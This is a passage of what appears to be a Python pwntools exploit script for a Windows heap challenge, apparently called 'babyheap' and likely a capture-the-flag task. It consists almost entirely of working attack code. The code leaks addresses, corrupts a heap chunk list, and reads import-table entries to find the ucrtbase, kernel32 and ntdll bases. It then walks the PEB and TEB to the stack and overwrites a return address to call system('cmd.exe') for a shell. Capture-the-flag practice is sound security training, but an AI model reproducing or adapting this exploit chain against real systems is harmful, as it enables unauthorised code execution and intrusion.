leak += data[i]
leak = u64(leak)
success("leak",leak)

payload = "0" * 0x70
payload += p64(leak)
payload += p32(chunk_list)
payload += p32(chunk_list + 4)
edit(0,payload)

free(0)

exit_iat = exe_base + 0x30AC
IsDebuggerPresent_iat = exe_base + 0x3010

backdoor(chunk_used_list + 1)

payload = ""
payload += p32(chunk_list + 4)
payload += p32(exit_iat) # exit
payload += p32(0)
payload += p32(IsDebuggerPresent_iat) # IsDebuggerPresent

edit(1,payload)

show(2)
ru("Show : ")
ucrtbase_base = u32(rc(4)) - 0x44380
success("ucrtbase_base",ucrtbase_base)

show(4)
ru("Show : ")
kernel32_base = u32(rc(4)) - 0x220d0
success("kernel32_base",kernel32_base)

NtCreateFile_iat = kernel32_base + 0x00081fb4

payload = ""
payload += p32(chunk_list + 4)
payload += p32(NtCreateFile_iat) # NtCreateFile

edit(1,payload)

show(2)
ru("Show : ")
ntdll_base = u32(rc(4)) - 0x72f20
success("ntdll_base",ntdll_base)

ntdll_PedLdr_addr = ntdll_base + 0x125d80
payload = ""
payload += p32(chunk_list + 4)
payload += p32(ntdll_PedLdr_addr - 0x64)

edit(1,payload)
show(2)
ru("Show : ")
peb_addr = u32(ru("\r\n").ljust(4,"\x00")) - 0x154
success("peb_addr",peb_addr)

teb_addr = peb_addr + 0x3000
success("teb_addr",teb_addr)

payload = ""
payload += p32(chunk_list + 4)
payload += p32(teb_addr)
edit(1,payload)

show(2)
ru("Show : ")
stack_addr = u32(ru("\r\n").ljust(4,"\x00")) - 0x154
success("stack_addr",stack_addr)

ret_addr = stack_addr + 0x220
success("ret_addr",ret_addr)

payload = ""
payload += p32(chunk_list + 4)
payload += p32(ret_addr)
edit(1,payload)

system_addr = ucrtbase_base + 0xec730
payload = ""
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(ret_addr + 0xc)
payload += "cmd.exe\x00"

edit(2,payload)

exit()

# windbgx.attach(r)

# dc babyheap + 0x4370
# bp babyheap + 0x11B8

r.interactive()